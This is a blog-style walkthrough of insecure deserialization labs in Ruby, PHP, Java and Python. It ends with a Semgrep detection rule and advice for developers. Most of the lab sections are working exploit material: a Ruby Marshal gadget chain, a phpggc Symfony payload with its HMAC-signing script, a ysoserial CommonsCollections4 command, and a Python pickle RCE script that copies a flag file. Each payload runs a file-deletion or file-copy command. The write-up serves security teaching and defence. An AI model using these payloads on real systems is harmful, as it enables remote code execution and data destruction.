Introduction: What are the Dangers of Deserialization?
Think of giving a sealed box to a trusted courier and the next minute finding out that he/she obeys out of pure blind obedience, any instruction put on the box. This is similar to insecure deserialization, in which applications blindly unpack user-controlled data and provoke malicious behavior. Serialization encodes complicated objects (e.g. user sessions, game saves), into transportable strings of bytes. This process can be reversed, and deserialization construct objects by using those bytes. However, the untrusted data is not checked and, when on deserialization the processes are left undefended, the deserialization serves as the granting of arbitrary codification to the attackers.
Main Concepts and Hacker Jargon
Unpacking Objects: Deserialization re-assembles objects that have been packed into bytes streams, such as putting an IKEA furniture back together. In case of such instructions, the results are catastrophic as they state, sabotage the workshop.
Gadget Chains: The attackers will sew together lines of existing code (gadgets) within an application into malicious spheres, much as Frankenstein stitched together a monster. As the example, the Ruby Net::WriteAdapter or the Symfony components of PHP become remote-code execution (RCE) tools.
The Exploit Process usually consists of the following steps:
Identification: The attacker identifies the deserialization sinks (e.g., cookies, API inputs).
Forge: Then the attacker creates payloads on published gadgets (e.g. ysoserial in Java, phpggc in PHP).
Exploit: Invoke RCE, deletion of files, or access shell.
As we unpack in this blog, real exploits of Ruby, PHP, Java and Python reveal that unpacking turns into a backdoor to hackers.
BlackBox Testing
Lab 1: Exploiting Ruby deserialization using a documented gadget chain
Field | Details |
Lab Name | Exploiting Ruby deserialization using a documented gadget chain |
Lab URL | Visit Lab |
Credentials | wiener:peter |
Now to exploit this gadget chain in ruby, we refer to this article and we make few changes to the exploit code, instead of executing id
we will be removing morale.txt
and instead of getting serialized cookie we would be getting the base64
encoded cookie. Our exploit code should look something like the following:
require 'rubygems'
require 'net/http'
require 'base64'
require 'rubygems/package'
Gem::SpecFetcher
Gem::Installer
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)
To compile this ruby code, you can install ruby on your system, but I did not want to leave my windows os and switch to other OS so I thought of online compilers. I came across this and this websites, but I was getting the same error which you can see on the following screenshot.
Let’s copy and error code and let’s analyse what went wrong. Our error code looks something like this:
Output:
/usr/lib/ruby/3.2.0/net/protocol.rb:487:in `initialize': wrong number of arguments (given 2, expected 1) (ArgumentError)
from HelloWorld.rb:17:in `new'
from HelloWorld.rb:17:in `<main>'
Now the ruby code that is giving us errors is the following code:
wa1 = Net::WriteAdapter.new(Kernel, :system)
Now in ruby changed the way it initializes Net::WriteAdapter
and it is no longer constructed with (obj, method)
instead the internal WriterAdapter
class might be removed or made private. Do note that to draw conclusive understanding on why this happened, we might need to refer documentations, but here are some of the other possible things that could have happened :
- Since
Net:WriteAdapter
was part of the net/protocol
library, this class could have been entirely removed from public API.
- Or they might have changed the constructor to accept only one argument instead of two.
- Could have made it private or internal
Looking at github repo, it does seem like they made a lot of changes to their net-http
reference and seems like they made changes to how this class is initialized. Anyways let’s get back to the hacks, and quit going down the rabbit hole.
So we went ahead and downgraded our ruby to something like v2.7
and here is the website that compiles our exploit : https://domsignal.com/ruby-online-compiler
Now once we have our payload, let’s inject in our cookie and we get an internal error.
If we do render the response we do see that we have successfully solved the lab.
Understanding why we get error despite solving the lab:
Injecting the EL10 gadget chain then causes Ruby to execute Gem::Requirement#marshal_load
, which passes through TarReader#each => TarHeader.from => Net::BufferedIO.read => LOG => resolve
through a Net::WriteAdapter
. This adapter will direct to Kernel.system
which will run our command rm /home/carlos/morale.txt
.
At this point the exploit does fire, but then Ruby attempts to keep parsing the remainder of the object graph, which is all made up of fake or stubbed objects that do not represent any actual internal state. Such objects, as our implemented TarReader
, BufferedIO
, and TarReader::Entry
are referred to as fake because they are manually allocated and only provided with enough internal structure to walk the gadget chain.
Since these are not real parsed files or running streams. When Ruby tries to process these invalid stubs further it raises an exception of type TypeError
or ArgumentError
because of the missing or improper data. These are benign post effect impacts. The success of the payload is not evaluated based on the lack of error, but based on an execution- i.e. deleting the file. This is why the lab will mark the exploit as solved, even when the stack trace is noisy.
💡 TL;DR: The exploit fires the rm
command via the adget chain before Ruby crashes on the “fake” objects (manually created stubs like TarReader
and BufferedIO
) due to malformed data. Those errors are benign and your end goal (file deletion) was already achieved.
Lab 2: Exploiting PHP deserialization with a pre-built gadget chain
| Field | Details |
| ————— | ————————————————————————————————————————————————————- |
| Lab Name | Exploiting PHP deserialization with a pre-built gadget chain |
| Lab URL | Visit Lab |
| Credentials | wiener:peter
|
Now on first glances after logging in let’s look around for the web application and since we are exploiting for php deserilisation
we need some secret key for this. And looking at site map for this website we do see phpinfo.php
which looks interesting for us.
Let’s quickly visit the page and search for secret key, we can use ctrl+F
for completing this task.
Now let’s make note of the keys, and we will need to install phpggc
for generating gadget chain payloads in php. You can just clone this on kali vm and directly run as php
comes installed in our kali os.
Now we decode the cookie and then make some modifications or changes. We do see that we get an error from the server and this error discloses our backend server information.
Now we got backend server information, secret key and also our php gadget chain ready to use. With this let’s create an malicious cookie that removes morale.txt
. You can use the following command to create our payload.
┌──(kali㉿kali)-[~/phpggc]
└─$ ./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6
e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBk
ZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVt
IjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0g
L2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hl
XEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENh
Y2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2Fj
aGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21w
b25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMi
O319Cg==
Now we have generated a Base64-encoded serialized object that exploits an (php) RCE gadget chain in Symfony to delete Carlos’s morale.txt file.
Now we can’t directly use this payload as cookie, it still needs to be signed with our key. We can do that with the help of following php script.
<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6
e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBk
ZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVt
IjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0g
L2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hl
XEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENh
Y2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2Fj
aGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21w
b25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMi
O319Cg==";
$secretKey = "nqekrxmiquz8xl3zles67idcv2tjoab0";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
Let’s save it to an text file called cookie.php
and by running the script we will get the object. Let’s pass it as cookie and this should solve the lab.
┌──(kali㉿kali)-[~/phpggc]
└─$ nano cookie.php
┌──(kali㉿kali)-[~/phpggc]
└─$ php cookie.php
%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6%0Ae3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBk%0AZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVt%0AIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0g%0AL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hl%0AXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENh%0AY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2Fj%0AaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21w%0Ab25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMi%0AO319Cg%3D%3D%22%2C%22sig_hmac_sha1%22%3A%227d4b6979f4737fcb6a9633019576e16c12c790ca%22%7D
Sometimes you may need to URL encode all characters
in order to reduce any of the errors you may encounter while processing this payload to the server.
Lab 3: Exploiting Java deserialization with Apache Commons
| Field | Details |
| ————— | —————————————————————————————————————————————————- |
| Lab Name | Exploiting Java deserialization with Apache Commons |
| Lab URL | Visit Lab |
| Credentials | wiener:peter
|
For this you might need ysoserial and to install this tool you can download their jar file directly or you might use docker. I prefer docker, and here are tool installation and tool execution steps combined:
sudo su
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
docker build -t ysoserial:latest .
docker run ysoserial:latest CommonsCollections4 'rm /home/carlos/morale.txt' | base64
Copy the payload, now make sure you have URL encoded all characters
and then refresh the page. If you have done everything correctly you should have solved this lab.
Whitebox Testing
Lab 4: Spellbound Servants
| Field | Details |
| ——– | ————————————————————————— |
| Lab Name | SpellBound Servants |
| Lab URL | Visit Lab) |
Code Vulnerability Analysis
Vulnerability Location: utils.py
(a directory that holds the main business logic of the application)
Exploitable Function: isAuthenticated()
decorator
Consider a restaurant in which there is a weird rule of a cook, that is, in case you give them a wrapped container, they will do whatever it says at the back without question. The majority of customers only need to have their soup warmed up but one day, a container with the words, “burn down the kitchen” will be passed on. And the chef does his duty - without cavilling.
With this web application:
The sealed container is the auth
cookie that is within control of the users
The blindsided do-as-I-tell cook is pickle.loads()
An attacker can even inject a malicious code into the cookie - and the application will not be afraid to run it
Details:
The application reads auth
cookie, decodes it using Base64, and just hands it over to the pickle.loads()
in Python.
This is hazardous in that:
- Pickle de-serializes by running code in order to re-create objects . Since there is neither input validity nor sanitizing, an attacker can utilize a specially constructed pickle payload with unhealthy system-level commands Then it is deserialization, which turns to remote code execution (RCE)
Example snippet:
auth_data = request.raw_cookies.get("auth")
user = pickle.loads((base64.b64decode(auth_data)))
Impact of this vulnerability:
- Remote Code Execution (RCE)
- Data theft, backdoors, lateral movement or the full takeover
Severity: 8-9
Exploitation
We have created an python script that takes advantage of an unsafe pickle.loads()
on user controlled cookies. We create an PayloadGenerator class
that on deserialization executes a command on the system to copy the contents of /flag.txt
to public web directory via the command cat /flag.txt > /app/application/static/flag.txt
to copy the flag file to a publicly accessible static directory.
The script then base 64 encryption of this malicious payload and transmits them as auth cookies to the vulnerable application. This causes amending remote code. But after a few seconds, the script is attempting to retrieve the flag using the publicly accessible static path.
import requests
import pickle
import base64
import time
# ===== CONFIGURATION =====
TARGET_URL = "http://localhost:1337" # Change to target URL
COMMAND = "cat /flag.txt > /app/application/static/flag.txt" # Output file
STATIC_PATH = "/static/flag.txt" # Public path to retrieve flag
# =========================
class PayloadGenerator:
def __reduce__(self):
# Return system command to execute
return (exec, ('import os; os.system("""' + COMMAND + '""")',))
def exploit():
# Generate malicious payload
serialized = pickle.dumps(PayloadGenerator())
auth_cookie = base64.urlsafe_b64encode(serialized).decode()
print(f"[*] Sending payload cookie: auth={auth_cookie[:50]}...")
# Trigger deserialization
try:
response = requests.get(
f"{TARGET_URL}/home",
cookies={"auth": auth_cookie},
timeout=15
)
print(f"[+] Triggered RCE! HTTP {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Connection failed: {str(e)}")
return
# Retrieve flag
print("[*] Waiting for command execution...")
time.sleep(3) # Allow server time to execute command
flag_response = requests.get(f"{TARGET_URL}{STATIC_PATH}")
if flag_response.status_code == 200:
print(f"\n[+] FLAG CAPTURED: {flag_response.text.strip()}")
else:
print(f"[!] Flag retrieval failed (HTTP {flag_response.status_code})")
print(f"[!] Try manual access: {TARGET_URL}{STATIC_PATH}")
if __name__ == "__main__":
exploit()
Before running this script you might need to create an virtual environment and install requests
to run off this scripts using pip
or pip3
. And if you run it against local host, we do run remote command directly to the server and get the flag.
Semgrep
Now from the vulnerability analysis, we take the function that is responsible for the vulnerability and then add it to our pattern. If any variable that accepts user-controlled input (like cookies, headers, or query parameters and directly deserializes the variable using the pickle
module, which can lead to arbitrary code execution is a huge red flag and using this simple pattern our semgrep template would look something like this.
rules:
- id: unsafe-pickle-deserialization
pattern: |
$VAR = request.cookies.get(...)
...
pickle.loads(base64.$DECODE($VAR))
message: "CRITICAL: Unsafe deserialization of user-controlled cookie via pickle"
languages: [python]
severity: CRITICAL
metadata:
cwe: "CWE-502: Deserialization of Untrusted Data"
owasp: "A8:2017-Insecure Deserialization"
references:
- "https://davidhamann.de/2020/04/05/exploiting-python-pickle/"
Let’s run this template against out directory in which the whole source code of the website is located.
semgrep --config deserial.yaml .
As we can see our template is working and do get the following error, showing that our code is indeed vulnerable.
Developer Defense: Functions to Watch Out
Reading this as a developer, the danger zones that have to be approached with utmost caution are as follows:
Do not trust these when it comes to user input:
- Python
pickle.loads()
is dangerous with unverified data of its own
- PHP
unserialize ()
without implementing sanitization
- Java
ObjectInputStream
and readObject
Untrusted sources
- The user-controlled data loading Ruby example is
marshal.load()
Safer alternatives:
- Simple data structures (safe to JSON) (no risk of code execution)
- Put in place signed/encrypted serialization with integrity checks
- Use allow-lists to deserialization targets
Quick Reference Table:
|Language|Library/Function|Risk|Safer Alternative|
|—|—|—|—|
|Python|pickle.loads()
|Executes arbitrary code during unpickling|json.loads()
(with validation)|
|Ruby|Marshal.load()
|Unsafe object reconstruction|JSON.parse()
|
|PHP|unserialize()
|Triggers magic methods (e.g., __wakeup
)|json_decode()
|
|Java|ObjectInputStream.readObject()
|Invokes malicious readObject()
methods|Jackson/YAML (disable polymorphism)|
The golden rule: when you have to deserialize user input the golden rule is to treat it as though it were running code - which in effect it is.
Conclusion : The Serialization Trap
Deserialization vulnerabilities embody the presence of an extremely dangerous paradox: features meant to make our systems more efficient (session storage, data transfer) can become world-reckoning when receiving untrusted data. As we have seen around in our labs, gadget chains bypass security borders by re-using official code, whether its RubyMarshal, php Symfony, or python pickle. The aftermath? Code execution at a distance, theft of data or takeover of a system.
The Fix? Do not deserialize data that the user controls. Apply safer ones such as JSON with strict validation. In legacy systems, serialise data and sign/encrypt dependency in gadgets, audit. Voice of experience: When your program blindly “unboxes” data, it will be supplied with a bomb.